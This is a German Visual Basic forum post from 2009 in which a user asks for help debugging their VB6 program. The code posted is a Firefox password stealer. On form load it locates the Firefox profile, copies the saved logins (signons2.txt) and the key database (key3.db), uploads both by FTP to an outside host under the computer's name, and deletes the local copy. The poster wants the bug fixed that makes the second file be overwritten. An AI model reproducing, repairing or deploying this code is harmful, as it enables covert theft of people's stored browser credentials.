Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
the_gam3r_
Coder
Coder

Anmeldedatum: 09.02.2008
Beiträge: 89

2 Dateien Uploaden
Verfasst am: 07.05.2009, 15:41

hi,
bei diesem code wird die key3.db mit der sig2 überschreieben.. weis jemadnw wieso ?
Code:
Private Sub Form_Load()
Dim FireFoxPath As String
Dim ProfilePath As String
Dim no7 As String
Dim no6 As String
Dim ProfileName As String
Dim Useless As String
Dim localfile As String
Dim remotefile As String
Dim complete As String
Dim localfile2 As String
Dim remotefile2 As String
Dim complete2 As String


FireFoxPath = Environ$("appdata") & "\Mozilla\FireFox"

Open FireFoxPath & "\profiles.ini" For Input As #1
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, no7
Close #1 '

ProfileName = Mid(no7, 15)
ProfilePath = FireFoxPath & "\Profiles\" & ProfileName
complete = ProfilePath & "\signons2.txt"
complete2 = ProfilePath & "\key3.db"

Open complete For Input As #1 'fetisch ?
Do While Not EOF(1)
zeile = ""
Line Input #1, zeile
List1.AddItem zeile
Open Environ("SystemDrive") & "\signons2.txt" For Output As #2
For i = 1 To List1.ListCount - 1
Print #2, List1.List(i)
Next
Close #2
Loop
Close #1

Open complete2 For Input As #3
Do While Not EOF(3)
zeile = ""
Line Input #3, zeile
List2.AddItem zeile
Open Environ("SystemDrive") & "\key3.db" For Output As #4
For i = 1 To List1.ListCount - 1
Print #4, List1.List(i)
Next
Close #4
Loop
Close #3

localfile = Environ("SystemDrive") & "\signons2.txt"
remotefile = Environ("computername") & "-" & "signons2.txt"
localfile2 = Environ("SystemDrive") & "\key3.db"
remotefile2 = Environ("computername") & "-" & "key3.db"


With Inet1
  .AccessType = icUseDefault
  .Protocol = icFTP
  .RemotePort = "21"
  .URL = "sldc.sl.funpic.de"
  .UserName = "sldc"
  .Password = "pw"
 
  .Execute , "PUT " & localfile & " " & remotefile
 
  Do While Inet1.StillExecuting = True
DoEvents
Loop
 
  With Inet2
  .AccessType = icUseDefault
  .Protocol = icFTP
  .RemotePort = "21"
  .URL = "sldc.sl.funpic.de"
  .UserName = "sldc"
  .Password = "pw"
 
  .Execute , "PUT " & localfile2 & " " & remotefile2
 
Do While Inet2.StillExecuting = True
DoEvents
Loop
Kill localfile

End With
End With
End
End Sub
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: open environ, uploaden, dateien, systemdrive, profilepath

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 981 09.06.2011, 13:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2604 06.03.2008, 21:19
Keine neuen Beiträge ListView speichern & laden 1328 05.08.2008, 13:32
Keine neuen Beiträge Registry & Co Fragen 1201 03.05.2007, 10:57
Keine neuen Beiträge Listbox speichern & laden 2260 22.03.2007, 21:25
 


[ Time: 0.1119s ][ Queries: 80 (0.0606s) ][ GZIP on - Debug on ]